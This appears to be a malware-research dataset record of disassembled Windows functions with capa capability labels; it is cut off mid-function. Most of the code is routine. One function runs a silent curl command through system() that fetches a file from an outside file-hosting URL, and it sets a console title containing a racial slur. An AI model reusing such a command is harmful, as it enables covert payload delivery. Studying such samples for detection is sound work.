joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14018ba78
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.14017f444
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x14018bb19
cmp ebx, dword [rsp + 0x30]
je 0x14018bb12
test esi, esi
je 0x14018bb12
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x14018baed
sub r8w, 0x61
cmp r8w, 0x19
ja 0x14018bafa
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x14018bad7
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x14018bafe
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x14018bb1b
mov eax, 1
jmp 0x14018bb1b
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14018f5ec
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14016fc24
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14018f676
cmp byte [rbp - 0x21], r15b
je 0x14018f671
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14018f6ac
call fcn.140180894
test eax, eax
jne 0x14018f698
cmp byte [rbp - 0x21], r15b
je 0x14018f690
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14018f6ac
cmp byte [rbp - 0x21], r15b
je 0x14018f6a9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140178ad8
test eax, eax
jne 0x14018f74c
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14016fc24
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14018f6eb
cmp byte [rbp - 0x21], r15b
je 0x14018f720
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14018f720
call fcn.140180894
test eax, eax
jne 0x14018f70c
cmp byte [rbp - 0x21], r15b
je 0x14018f705
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14018f720
cmp byte [rbp - 0x21], r15b
je 0x14018f71d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140178ad8
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14018f74c
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14018f74f
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14018f75d
mov rcx, rdi
call fcn.140180488
cmp byte [rbp + 0x3f], r15b
je 0x14018f76c
mov rcx, qword [rbp + 0x27]
call fcn.140180488
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140190320
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14017f028
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14017f028
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140190470
cmp rax, 0xffffffffffffffff
je 0x140190470
xor edi, edi
test rbp, rbp
jle 0x14019041b
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.140180410
mov rbx, rax
test rax, rax
jne 0x1401903a8
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140190411
mov edx, 0x8000
mov ecx, r14d
call fcn.14017ca1c
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.1401820a4
cmp eax, 0xffffffff
je 0x1401903f1
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1401903b8
mov edx, r15d
mov ecx, r14d
call fcn.14017ca1c
jmp 0x140190411
cmp byte [rsi + 0x38], dil
je 0x140190408
cmp dword [rsi + 0x34], 5
jne 0x140190408
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], recvfrom
cmp byte [rsi + 0x30], dil
je 0x140190411
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.140180488
jmp 0x140190484
jns 0x140190484
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14017f028
cmp rax, 0xffffffffffffffff
jne 0x14019043c
cmp byte [rsi + 0x30], dil
je 0x140190484
mov edi, dword [rsi + 0x2c]
jmp 0x140190484
mov ecx, r14d
call fcn.14018961c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140190484
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, recvfrom
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], recvfrom
jmp 0x140190484
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x14019047d
mov eax, dword [rsi + 0x2c]
jmp 0x140190482
mov eax, socket
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14017f028
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x140190eb0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140190ed8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140190ed8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140005e60
Capabilities:
Create thread
Execute command
Set console window title

Disassembly:
sub rsp, 0x68
mov rax, qword [0x140061040]
xor rax, rsp
mov qword [rsp + 0x50], rax
lea rcx, str.curl_https:__files.catbox.moe_u0u5nj.ttf___output_C:_fortnite.ttf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.Unbranded__UD_ASF_NIGGAS
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
lea rdx, str.File_attached__CS2.exe_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140005f50
mov rcx, rax
lea rdx, [0x1400519ec]
call fcn.140005f50
mov ecx, 8
call fcn.14004f9d0
lea rcx, [0x140005d60]
mov qword [rax], rcx
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x1400061c0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x140005f3c
call fcn.14004d9d0
cmp dword [rsp + 0x38], 0
je 0x140005f30
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140005f30
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.14004f760
add rsp, 0x68
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x38], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3

Function at 0x14000a1c0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x14000a21d
lea rbx, [0x140053040]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x14000a204
cmp r10, 2
jb 0x14000a204
cmp byte [r9], r8b
jne 0x14000a204
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x14000a1e0
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x14000a25f
lea rbx, [0x140053040]
cmp r8b, 0x23
jne 0x14000a243
cmp byte [r9], r8b
jne 0x14000a243
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x14000a230
mov rbx, qword [rsp + 8]
not eax
ret
Function at 0x140011ee0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x50
movaps xmmword [rsp + 0x40], xmm6
mov rax, qword [0x140061040]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rdi, qword [0x140061ce8]
mov r14d, edx
mov esi, dword [rsp + 0x90]
mov r10, rcx
mov eax, esi
and eax, 0x40000000
mov rbx, qword [rdi + 0x4068]
bts eax, 0x1d
mov r9d, dword [rdi + 0x4a78]
shr eax, 0x1d
mov r15d, eax
bts r15d, 8
test esi, esi
cmovns r15d, eax
mov eax, dword [rbx + 0x14]
and eax, 4
mov dword [rdi + 0x4ab0], r15d
or eax, 0x1000103
bts r9d, 8
or esi, eax
mov dword [rdi + 0x4a78], r9d
cmp qword [rbx + 0x1c0], 0
jne 0x140011f83
cmp qword [rdi + 0x4e78], 0
mov eax, 0x268
je 0x140011f88
mov eax, 0x238
movss xmm2, dword [rbx + rax]
lea rcx, [rsp + 0x30]
movss xmm3, dword [rbx + rax + 4]
subss xmm3, dword [rbx + 0x11c]
subss xmm2, dword [rbx + 0x118]
mov rdx, qword [r8]
call fcn.14001bba0
movsd xmm0, qword [rsp + 0x30]
lea rcx, [rsp + 0x30]
or r9d, 2
movsd qword [rdi + 0x4a98], xmm0
xor edx, edx
mov dword [rdi + 0x4a78], r9d
mov dword [rdi + 0x4a80], 1
mov r9, qword [rbx + 8]
test r10, r10
je 0x140011ffb
mov dword [rsp + 0x28], r14d
lea r8, str._s__s__08X
mov qword [rsp + 0x20], r10
call fcn.14000a020
jmp 0x14001200c
lea r8, str._s__08X
mov dword [rsp + 0x20], r14d
call fcn.14000a020
mov rcx, qword [rsp + 0x30]
mov r8d, esi
movss xmm6, dword [rdi + 0x3928]
xor edx, edx
call fcn.140014fd0
mov rsi, qword [rdi + 0x4068]
movzx ebp, al
movss dword [rdi + 0x3928], xmm6
cmp word [rsi + 0xd8], 1
mov dword [rsi + 0x90], r14d
jne 0x140012053
movsd xmm0, qword [rsi + 0x28]
movsd qword [rbx + 0x118], xmm0
mov r9d, r14d
lea rdx, [0x140051d91]
not r9d
lea r10, [0x140053040]
mov ebx, r9d
mov r8b, 0x23
nop dword [rax]
cmp r8b, 0x23
jne 0x140012083
cmp byte [rdx], r8b
jne 0x140012083
cmp byte [rdx + 1], r8b
cmove ebx, r9d
movzx ecx, bl
movzx eax, r8b
movzx r8d, byte [rdx]
xor rcx, rax
shr ebx, 8
inc rdx
xor ebx, dword [r10 + rcx*4]
test r8b, r8b
jne 0x140012070
not ebx
cmp dword [rdi + 0x40d4], ebx
jne 0x1400120b3
xor edx, edx
xor ecx, ecx
call fcn.14000e6b0
cmp dword [rdi + 0x4ba4], r14d
jne 0x140012100
bt r15d, 8
jb 0x140012100
cmp word [rsi + 0x174], 0
jne 0x1400120d6
cmp byte [rsi + 0x17a], 0
je 0x140012100
xor edx, edx
mov rcx, rsi
call fcn.140017900
xor edx, edx
mov rcx, rsi
call fcn.14001ede0
mov rdx, rsi
mov ecx, ebx
call fcn.14000e6b0
mov eax, dword [rdi + 0x4bd8]
mov dword [rdi + 0x4100], eax
movzx eax, bpl
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14004f760
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x50
pop r15
pop r14
pop rdi
ret
Function at 0x14001c920
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x140061040]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rbx, qword [0x140061ce8]
mov edi, ecx
cmp byte [rbx + 0x4dad], 0
jne 0x14001c981
cmp byte [rbx + 0x4dae], 0
jne 0x14001c981
movsx r9d, word [rbx + 0x5f20]
lea r8, str.Tooltip__02d
mov edx, 0x10
lea rcx, [rsp + 0x20]
call fcn.140009fa0
test dil, 2
je 0x14001caaf
jmp 0x14001ca0c
movss xmm1, dword [rbx + 0x39d4]
lea r8, str.Tooltip__02d
movsx r9d, word [rbx + 0x5f20]
lea rcx, [rsp + 0x20]
movaps xmm0, xmm1
xor eax, eax
mulss xmm0, dword [0x1400587b0]
mov edx, 0x10
mulss xmm1, dword [0x1400587a4]
addss xmm0, dword [rbx + 0x108]
addss xmm1, dword [rbx + 0x10c]
mov qword [rbx + 0x4a90], rax
mov dword [rbx + 0x4a7c], 1
movss dword [rbx + 0x4a88], xmm0
movss dword [rbx + 0x4a8c], xmm1
movss xmm0, dword [rbx + 0x3a30]
mulss xmm0, dword [0x140058710]
or dword [rbx + 0x4a78], 0x41
movss dword [rbx + 0x4ad8], xmm0
call fcn.140009fa0
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov r10d, 0xffffffff
mov ecx, r10d
test r9b, r9b
je 0x14001ca60
lea r11, [0x140053040]
nop dword [rax]
cmp r9b, 0x23
jne 0x14001ca43
cmp byte [r8], r9b
jne 0x14001ca43
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x14001ca30
not ecx
call fcn.140012340
test rax, rax
je 0x14001caaf
cmp byte [rax + 0xca], 0
je 0x14001caaf
mov byte [rax + 0xcf], 1
lea r8, str.Tooltip__02d
mov byte [rax + 0xd2], 1
lea rcx, [rsp + 0x20]
mov byte [rax + 0xec], 1
mov edx, 0x10
inc word [rbx + 0x5f20]
movsx r9d, word [rbx + 0x5f20]
call fcn.140009fa0
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x2030347
call fcn.140014fd0
mov al, 1
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.14004f760
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x1400385f0
Capabilities:
Get geographical location
Get keyboard layout

Disassembly:
mov qword [rsp + 0x18], rbp
push rsi
sub rsp, 0x70
mov rax, qword [0x140061040]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov rsi, qword [0x140061ce8]
mov rbp, rcx
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x14003880f
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x14003880f
mov qword [rsp + 0x80], rbx
mov ecx, 0x50
mov qword [rsp + 0x88], rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8, qword [0x140061ce8]
xor ebx, ebx
mov rdi, rax
test r8, r8
je 0x1400386c4
movsx rdx, word [r8 + 0x6160]
lea rax, [r8 + 0x6164]
mov r9d, dword [r8 + 0x3fb0]
lea rax, [rax + rdx*8]
cmp dword [rax], r9d
je 0x1400386b9
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x6160], cx
movsx rax, cx
lea rax, [rax*8 + 0x6164]
add rax, r8
mov dword [rax], r9d
mov dword [rax + 4], ebx
inc word [rax + 4]
inc dword [r8 + 0x6158]
test rdi, rdi
je 0x1400386e1
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
movups xmmword [rdi + 0x10], xmm0
movups xmmword [rdi + 0x20], xmm0
movups xmmword [rdi + 0x30], xmm0
movups xmmword [rdi + 0x40], xmm0
jmp 0x1400386e4
mov rdi, rbx
or dword [rsi + 0xc], 6
lea rax, [0x140057f38]
mov qword [rsi + 0x80], rax
mov qword [rsi + 0x90], rdi
mov qword [rdi], rbp
mov rax, qword [rsp + 0x58]
mov qword [rdi + 0x20], rax
mov rax, qword [rsp + 0x60]
mov qword [rdi + 0x18], rax
mov dword [rdi + 0x28], 9
test r8, r8
je 0x140038727
mov rsi, qword [r8 + 0x90]
jmp 0x14003872a
mov rsi, rbx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
shr rax, 0x10
mov r9d, 4
movzx ecx, ax
lea r8, [rsi + 0x2c]
mov edx, 0x20001004
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jne 0x140038755
mov dword [rsi + 0x2c], ebx
mov rax, qword [0x140061ce8]
mov rcx, qword [rax + 0x4b88]
mov rax, qword [rdi]
mov rdx, qword [rcx]
mov qword [rdx + 0x30], rax
mov qword [rdx + 0x28], rax
lea rax, str.xinput1_4.dll
mov qword [rsp + 0x30], rax
lea rax, str.xinput1_3.dll
mov qword [rsp + 0x38], rax
lea rax, str.xinput9_1_0.dll
mov qword [rsp + 0x40], rax
lea rax, str.xinput1_2.dll
mov qword [rsp + 0x48], rax
lea rax, str.xinput1_1.dll
mov qword [rsp + 0x50], rax
mov byte [rdi + 0x31], 1
mov rcx, qword [rsp + rbx*8 + 0x30]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
jne 0x1400387cf
inc rbx
cmp rbx, 5
jl 0x1400387b1
jmp 0x1400387fb
lea rdx, str.XInputGetCapabilities
mov qword [rdi + 0x38], rsi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.XInputGetState
mov rcx, rsi
mov qword [rdi + 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rdi + 0x48], rax
mov rdi, qword [rsp + 0x88]
mov al, 1
mov rbx, qword [rsp + 0x80]
jmp 0x140038811
xor al, al
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.14004f760
mov rbp, qword [rsp + 0x90]
add rsp, 0x70
pop rsi
ret
Function at 0x140050264
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400502ae
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400502ae
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400502ae
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400502ae
cmp dword [rcx + 0x84], 0xe
jbe 0x1400502ae
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400502b0
xor al, al
add rsp, 0x28
ret
Function at 0x14014cb90
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14014cbda
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14014cbda
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14014cbda
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14014cbda
cmp dword [rcx + 0x84], 0xe
jbe 0x14014cbda
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14014cbdc
xor al, al
add rsp, 0x28
ret

Function at 0x140150000
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14015006f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14015006f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14015006f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14015006f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14015006f
cmp dword [rcx + 0x84], 0xe
jbe 0x14015006f
cmp dword [rcx + 0xf8], 0
je 0x14015006f
mov ecx, ebx
call fcn.140150120
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14014fefc
nop
cmp dword [rbp + 0x20], 0
je 0x1401500bd
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1401500c8
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x140150000

Function at 0x140150204
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140150000
Function at 0x140152c60
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140152ce7
mov rsi, rbx
cmp word [rax], bp
je 0x140152ca6
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140152c90
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140152c8c
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140153680
mov rdi, rax
test rax, rax
je 0x140152cd4
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.1401585d0
mov rbp, rdi
xor ecx, ecx
call fcn.140151928
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140157e30
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140157e58
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140157e58
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140024dd0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140024df8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140024df8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x140004274
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400042be
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400042be
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400042be
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400042be
cmp dword [rcx + 0x84], 0xe
jbe 0x1400042be
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400042c0
xor al, al
add rsp, 0x28
ret
Function at 0x140010a30
Capabilities:
Resolve function by parsing pe exports

Disassembly:
movss dword [rsp + 0x20], xmm3
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x78
xorps xmm2, xmm2
xorps xmm1, xmm1
mov rcx, qword [rsp + 0x80]
call fcn.140005f40
mov eax, dword [rsp + 0x88]
and eax, 1
test eax, eax
je 0x140010b09
mov edx, dword [rsp + 0x90]
mov ecx, reloc.WS2_32.dll_sendto
call fcn.140010cf0
movss dword [rsp + 0x20], xmm0
mov edx, dword [rsp + 0x90]
mov ecx, reloc.WS2_32.dll_send
call fcn.140010cf0
movss xmm1, dword [rsp + 0x20]
subss xmm1, xmm0
movaps xmm0, xmm1
movss dword [rsp + 0x28], xmm0
mov edx, dword [rsp + 0x90]
mov ecx, reloc.WS2_32.dll_select
call fcn.140010cf0
movss dword [rsp + 0x24], xmm0
mov edx, dword [rsp + 0x90]
mov ecx, reloc.WS2_32.dll_recvfrom
call fcn.140010cf0
movss xmm1, dword [rsp + 0x24]
subss xmm1, xmm0
movaps xmm0, xmm1
movss dword [rsp + 0x2c], xmm0
movss xmm2, dword [rsp + 0x28]
movss xmm1, dword [rsp + 0x2c]
lea rcx, [rsp + 0x50]
call fcn.140005f40
mov rdx, rax
mov rcx, qword [rsp + 0x80]
call fcn.140006bd0
mov eax, dword [rsp + 0x88]
and eax, 2
test eax, eax
je 0x140010bb7
mov edx, dword [rsp + 0x90]
mov ecx, 7
call fcn.140010cf0
movss dword [rsp + 0x30], xmm0
mov edx, dword [rsp + 0x90]
mov ecx, 6
call fcn.140010cf0
movss xmm1, dword [rsp + 0x30]
subss xmm1, xmm0
movaps xmm0, xmm1
movss dword [rsp + 0x38], xmm0
mov edx, dword [rsp + 0x90]
mov ecx, 5
call fcn.140010cf0
movss dword [rsp + 0x34], xmm0
mov edx, dword [rsp + 0x90]
mov ecx, 4
call fcn.140010cf0
movss xmm1, dword [rsp + 0x34]
subss xmm1, xmm0
movaps xmm0, xmm1
movss dword [rsp + 0x3c], xmm0
movss xmm2, dword [rsp + 0x38]
movss xmm1, dword [rsp + 0x3c]
lea rcx, [rsp + 0x58]
call fcn.140005f40
mov rdx, rax
mov rcx, qword [rsp + 0x80]
call fcn.140006bd0
mov eax, dword [rsp + 0x88]
and eax, 4
test eax, eax
je 0x140010c65
mov edx, dword [rsp + 0x90]
mov ecx, ntohl
call fcn.140010cf0
movss dword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x90]
mov ecx, 0xa
call fcn.140010cf0
movss xmm1, dword [rsp + 0x40]
subss xmm1, xmm0
movaps xmm0, xmm1
movss dword [rsp + 0x48], xmm0
mov edx, dword [rsp + 0x90]
mov ecx, 9
call fcn.140010cf0
movss dword [rsp + 0x44], xmm0
mov edx, dword [rsp + 0x90]
mov ecx, 8
call fcn.140010cf0
movss xmm1, dword [rsp + 0x44]
subss xmm1, xmm0
movaps xmm0, xmm1
movss dword [rsp + 0x4c], xmm0
movss xmm2, dword [rsp + 0x48]
movss xmm1, dword [rsp + 0x4c]
lea rcx, [rsp + 0x60]
call fcn.140005f40
mov rdx, rax
mov rcx, qword [rsp + 0x80]
call fcn.140006bd0
movss xmm0, dword [rsp + 0x98]
ucomiss xmm0, dword [0x1401320c4]
jp 0x140010c79
je 0x140010ca0
mov ecx, reloc.WS2_32.dll_ntohl
call fcn.140013b10
movzx eax, al
test eax, eax
je 0x140010ca0
movss xmm1, dword [rsp + 0x98]
mov rcx, qword [rsp + 0x80]
call fcn.140006b80
movss xmm0, dword [rsp + 0xa0]
ucomiss xmm0, dword [0x1401320c4]
jp 0x140010cb4
